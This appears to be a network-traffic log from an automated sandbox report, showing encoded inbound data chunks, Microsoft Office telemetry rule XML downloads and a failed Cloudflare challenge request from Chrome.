2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 34 53 6b 75 35 75 63 66 71 6d 74 6d 5a 4f 4d 73 5a 78 38 6a 35 4f 33 75 59 48 4a 78 4b 47 58 78 70 36 49 78 36 2b 77 6a 74 6a 4c 7a 73 2b 61 71 71 72 4c 72 4c 47 73 76 36 79 7a 31 37 48 46 74 61 6e 46 79 4c 2f 72 76 62 2f 75 73 4c 76 52 74 4e 4c 67 73 4b 72 4d 35 4c 50 6e 37 74 57 33 36 38 7a 31 42 63 4c 45 77 41 61 2f 32 51 54 65 77 39 6e 47 35 41 37 50 35 65 66 67 38 4f 30 56 47 67 66 6c 36 50 66 74 32 2f 45 69 37 65 48 5a 49 41 4c 65 41 66 7a 62 36 67 48 71 48 43 6f 43 4d 6a 41 51 43 78 41 57 4a 52 41 71 46 77 4d 4f 38 77 37 39 47 55 41 69 51 42 68 46 51 52 41 62 49 7a 34 6b 47 7a 55 2b 4c 45 51 35 50 69 5a 46 49 7a 45 57 4b 6b 63 59 54 54 63 75 46 46 41 38 49 46 34 37 59 42 38 6d 4d 6d 52 61 59 47 51 6e 51 44 38 6e 55 43 35 41 63 45 6c 66 59 55 46 52 Data Ascii: 4Sku5ucfqmtmZOMsZx8j5O3uYHJxKGXxp6Ix6+wjtjLzs+aqqrLrLGsv6yz17HFtanFyL/rvb/usLvRtNLgsKrM5LPn7tW368z1BcLEwAa/2QTew9nG5A7P5efg8O0VGgfl6Pft2/Ei7eHZIALeAfzb6gHqHCoCMjAQCxAWJRAqFwMO8w79GUAiQBhFQRAbIz4kGzU+LEQ5PiZFIzEWKkcYTTcuFFA8IF47YB8mMmRaYGQnQD8nUC5AcElfYUFR
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 4f 39 6c 4c 6d 55 66 36 57 35 67 35 54 48 6f 49 61 39 69 73 66 4c 6a 4d 2b 51 78 36 79 54 78 4a 61 4b 32 74 66 54 75 4d 6d 32 72 65 44 4c 32 4e 36 63 31 72 79 2b 74 74 37 66 79 74 65 33 75 74 37 4f 78 71 6a 6c 73 4f 61 30 78 75 6a 52 35 62 6a 70 31 74 76 77 41 65 76 30 36 39 66 39 32 64 76 78 33 74 59 42 79 4d 72 75 2f 66 37 74 41 75 49 44 36 67 67 59 30 51 73 50 30 38 34 58 39 79 45 4d 44 79 4c 62 48 2b 4d 47 33 78 55 59 2b 66 51 71 2b 42 41 4a 4b 65 6e 36 4a 77 59 55 4f 43 6e 7a 45 41 73 4f 4f 66 67 51 46 42 59 38 4f 43 55 77 4d 54 59 54 52 78 51 5a 50 79 51 62 50 41 77 75 51 30 67 51 4b 69 45 51 49 31 67 6c 4e 6a 46 4e 58 42 63 58 54 6d 46 4f 57 32 4d 6c 4f 31 68 4a 55 6c 78 44 50 32 6b 35 61 6c 6b 77 52 57 6c 46 61 6b 6b 31 51 33 67 78 66 44 4e 48 67 Data Ascii: O9lLmUf6W5g5THoIa9isfLjM+Qx6yTxJaK2tfTuMm2reDL2N6c1ry+tt7fyte3ut7OxqjlsOa0xujR5bjp1tvwAev069f92dvx3tYByMru/f7tAuID6ggY0QsP084X9yEMDyLbH+MG3xUY+fQq+BAJKen6JwYUOCnzEAsOOfgQFBY8OCUwMTYTRxQZPyQbPAwuQ0gQKiEQI1glNjFNXBcXTmFOW2MlO1hJUlxDP2k5alkwRWlFakk1Q3gxfDNHg
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 34 76 35 53 2f 73 6f 62 4e 76 62 72 4b 79 63 54 54 30 38 2f 47 78 36 53 54 79 62 57 32 74 38 32 70 33 4e 7a 52 34 38 79 74 30 39 65 69 30 64 54 4b 37 4d 66 73 35 66 44 59 72 4e 72 6e 79 2b 2f 69 77 2b 69 32 36 75 6e 4b 2b 65 76 64 31 75 7a 62 79 2f 4c 33 31 38 47 36 38 39 62 47 7a 4d 55 4b 2b 41 4c 74 2b 67 62 50 36 67 44 58 7a 2f 63 57 46 2f 58 37 33 64 55 57 37 77 2f 38 37 67 49 53 45 50 4d 53 42 43 63 6f 44 79 2f 75 42 51 4d 52 48 42 55 57 47 4f 6b 51 43 68 72 36 4d 76 4d 37 4c 79 41 43 4f 79 51 59 4d 79 51 6c 4e 77 56 4a 52 41 78 4c 55 41 68 46 52 67 77 76 56 52 56 43 56 42 4a 50 4e 42 56 47 52 7a 56 42 4f 6c 30 64 48 54 41 6a 51 68 70 63 61 79 5a 67 50 43 78 50 62 47 68 77 4c 7a 45 2f 63 7a 4a 34 5a 33 70 30 4f 55 73 38 55 7a 5a 58 58 6b 42 54 55 47 Data Ascii: 4v5S/sobNvbrKycTT08/Gx6STybW2t82p3NzR48yt09ei0dTK7Mfs5fDYrNrny+/iw+i26unK+evd1uzby/L318G689bGzMUK+ALt+gbP6gDXz/cWF/X73dUW7w/87gISEPMSBCcoDy/uBQMRHBUWGOkQChr6MvM7LyACOyQYMyQlNwVJRAxLUAhFRgwvVRVCVBJPNBVGRzVBOl0dHTAjQhpcayZgPCxPbGhwLzE/czJ4Z3p0OUs8UzZXXkBTUG
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 74 35 36 42 70 6f 79 6b 6f 4e 50 45 6c 63 75 55 70 38 58 44 75 37 53 37 71 70 33 4e 30 72 79 37 72 65 48 65 31 75 62 6e 33 61 58 71 72 4e 6e 49 33 37 32 6c 76 4d 6d 7a 37 4e 66 34 2b 4f 2f 38 78 2b 2f 4d 76 74 44 4d 2f 66 33 67 7a 75 50 6c 32 63 50 47 34 41 67 51 36 75 55 4e 37 4d 30 42 43 38 33 66 47 41 67 44 43 50 30 4b 39 66 41 53 32 75 4c 35 47 42 6a 32 45 65 4d 6c 42 2b 4d 59 2b 66 7a 71 41 50 41 78 4d 77 4d 50 41 41 6b 76 45 44 6f 49 4e 44 6b 34 46 7a 6e 7a 44 42 67 59 45 6b 51 30 49 30 49 69 4e 45 35 42 52 77 5a 42 44 6a 4a 4f 52 67 68 53 4d 53 56 45 45 6a 55 54 52 6c 5a 51 4d 45 42 59 59 6c 55 59 4a 54 74 45 56 54 6b 39 4f 56 68 41 4f 57 67 71 4d 6d 4e 57 59 58 55 75 4d 6a 56 45 52 57 68 76 64 46 56 4d 59 33 75 45 57 46 70 6f 66 6d 4b 45 66 33 64 Data Ascii: t56BpoykoNPElcuUp8XDu7S7qp3N0ry7reHe1ubn3aXqrNnI372lvMmz7Nf4+O/8x+/MvtDM/f3gzuPl2cPG4AgQ6uUN7M0BC83fGAgDCP0K9fAS2uL5GBj2EeMlB+MY+fzqAPAxMwMPAAkvEDoINDk4FznzDBgYEkQ0I0IiNE5BRwZBDjJORghSMSVEEjUTRlZQMEBYYlUYJTtEVTk9OVhAOWgqMmNWYXUuMjVERWhvdFVMY3uEWFpofmKEf3d
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 38 53 72 72 71 48 5a 6c 37 61 36 6e 4c 66 4c 76 4d 7a 4d 76 4c 4b 2b 76 62 61 69 30 37 54 66 74 65 76 6a 32 65 36 36 7a 38 79 2b 7a 2f 50 75 36 4e 4c 6f 7a 36 32 32 79 63 2f 35 76 62 33 30 33 75 4c 57 35 4f 58 63 2b 74 49 47 43 38 73 4d 2f 74 6a 2b 2b 76 48 70 45 51 44 6c 31 4f 30 4d 32 75 37 34 44 75 7a 67 2f 51 76 7a 45 2b 51 66 39 67 4c 78 48 50 30 48 4a 79 48 71 4d 41 34 6a 2f 6a 55 73 49 67 51 44 44 6a 49 4f 4f 44 77 73 2b 77 6b 2f 4e 42 45 66 46 68 34 61 4f 41 45 6a 48 45 31 41 52 77 6f 5a 45 45 55 67 4b 30 51 78 45 31 67 32 4e 53 70 62 48 45 6b 73 54 45 39 56 47 31 38 63 50 6d 6c 54 49 47 4d 6a 5a 79 78 66 50 45 64 4a 5a 6a 41 2b 53 57 63 76 63 7a 42 53 66 57 63 30 63 44 68 5a 50 58 42 51 54 55 56 64 57 6f 53 49 5a 45 65 49 59 57 61 52 55 45 78 71 Data Ascii: 8SrrqHZl7a6nLfLvMzMvLK+vbai07Tftevj2e66z8y+z/Pu6NLoz622yc/5vb303uLW5OXc+tIGC8sM/tj++vHpEQDl1O0M2u74Duzg/QvzE+Qf9gLxHP0HJyHqMA4j/jUsIgQDDjIOODws+wk/NBEfFh4aOAEjHE1ARwoZEEUgK0QxE1g2NSpbHEksTE9VG18cPmlTIGMjZyxfPEdJZjA+SWcvczBSfWc0cDhZPXBQTUVdWoSIZEeIYWaRUExq
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 44 62 6d 35 4f 79 6c 37 57 34 75 2b 53 35 76 4d 48 6f 31 4e 72 41 6f 73 43 6a 77 36 62 71 71 38 6d 71 33 38 44 53 74 4d 79 33 31 72 4c 6d 2f 74 65 32 2b 72 76 59 42 66 34 44 2f 41 6e 7a 33 4f 44 43 34 4d 66 71 45 4d 38 54 37 68 58 71 42 2b 73 59 31 78 76 78 30 74 7a 34 39 69 48 30 48 78 6e 61 48 79 63 41 4b 53 50 6e 41 69 30 6f 2f 41 76 73 42 53 38 4c 4e 54 41 4a 45 2b 38 4e 4e 78 62 7a 45 67 30 31 51 41 45 5a 47 55 55 45 52 79 41 41 48 51 51 6e 42 43 4d 2f 4a 56 41 52 4a 53 6c 56 4b 69 55 7a 57 56 4e 62 4e 52 6b 78 48 44 6c 67 49 53 30 2f 48 44 70 42 4f 6d 6b 39 4a 47 46 74 56 79 78 48 4b 45 55 77 53 58 56 76 4c 46 4e 35 54 32 74 51 4e 46 45 34 56 6f 46 73 57 56 63 37 57 59 64 61 52 56 35 56 58 34 32 48 54 47 57 52 6a 46 31 73 53 34 42 68 6a 5a 6d 55 62 Data Ascii: Dbm5Oyl7W4u+S5vMHo1NrAosCjw6bqq8mq38DStMy31rLm/te2+rvYBf4D/Anz3ODC4MfqEM8T7hXqB+sY1xvx0tz49iH0HxnaHycAKSPnAi0o/AvsBS8LNTAJE+8NNxbzEg01QAEZGUUERyAAHQQnBCM/JVARJSlVKiUzWVNbNRkxHDlgIS0/HDpBOmk9JGFtVyxHKEUwSXVvLFN5T2tQNFE4VoFsWVc7WYdaRV5VX42HTGWRjF1sS4BhjZmUb
2024-10-07 19:53:14 UTC	1369	IN	Data Raw: 35 6f 4a 2f 50 75 4c 36 67 34 2b 4c 46 70 4d 48 65 78 71 7a 71 37 73 57 75 70 74 54 4a 2b 50 6e 6d 32 64 47 38 32 65 37 52 32 4c 2f 30 32 73 54 79 32 72 2f 6a 76 2b 72 59 43 51 51 46 33 68 45 49 41 74 2f 65 38 50 50 75 79 76 6a 35 48 4e 7a 77 45 4f 7a 35 38 51 7a 75 49 43 58 76 33 79 72 67 34 69 33 33 47 79 55 4a 42 68 7a 79 43 52 38 77 38 50 51 46 45 52 6f 54 47 42 30 56 46 66 49 78 45 66 74 47 2f 50 35 4a 4a 44 64 42 4a 54 67 34 44 79 55 38 47 67 30 52 49 55 63 32 4c 7a 51 35 4d 6a 45 50 54 53 34 59 59 68 6b 62 47 31 5a 54 58 55 4a 6b 56 43 74 42 57 44 6f 70 4b 45 74 43 61 6a 39 78 54 30 45 77 4f 48 74 59 4d 33 68 4a 5a 31 68 38 58 30 31 41 63 57 56 34 56 57 4a 61 64 46 65 49 6a 57 42 49 53 47 56 77 5a 4a 56 70 69 5a 68 5a 62 59 4e 30 6d 58 4a 35 62 70 Data Ascii: 5oJ/PuL6g4+LFpMHexqzq7sWuptTJ+Pnm2dG82e7R2L/02sTy2r/jv+rYCQQF3hEIAt/e8PPuyvj5HNzwEOz58QzuICXv3yrg4i33GyUJBhzyCR8w8PQFERoTGB0VFfIxEftG/P5JJDdBJTg4DyU8Gg0RIUc2LzQ5MjEPTS4YYhkbG1ZTXUJkVCtBWDopKEtCaj9xT0EwOHtYM3hJZ1h8X01AcWV4VWJadFeIjWBISGVwZJVpiZhZbYN0mXJ5bp

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49794	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195314Z-1657d5bbd48sqtlf1huhzuwq7000000003sg000000002vr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49795	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:15 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7464e811-e01e-001f-64f2-181633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195314Z-1657d5bbd48762wn1qw4s5sd3000000003wg00000000415f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-07 19:53:15 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49796	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:14 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:14 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2c548d6-d01e-0082-4f03-17e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195314Z-1657d5bbd4824mj9d6vp65b6n4000000045000000000epdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49797	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:15 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:15 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 678daa67-201e-00aa-3f60-173928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195315Z-1657d5bbd482krtfgrg72dfbtn00000003sg000000004euy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:15 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49801	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:15 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:15 UTC	349	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 19:53:15 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: D+wt6aX1txEpKZl7AcOveed/2CELJ/La/Pw=$Pef5KOJ+lvs0BN/p Server: cloudflare CF-RAY: 8cf06fadef184346-EWR
2024-10-07 19:53:15 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49798	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:15 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:15 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195315Z-1657d5bbd48xsz2nuzq4vfrzg800000003tg00000000g4g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:15 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49802	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:15 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:15 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5a5a1e5c-a01e-001e-18f5-1649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195315Z-1657d5bbd48sdh4cyzadbb374800000003t000000000gb61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:15 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49803	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:15 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:15 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195315Z-1657d5bbd48f7nlxc7n5fnfzh000000003pg000000002n0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
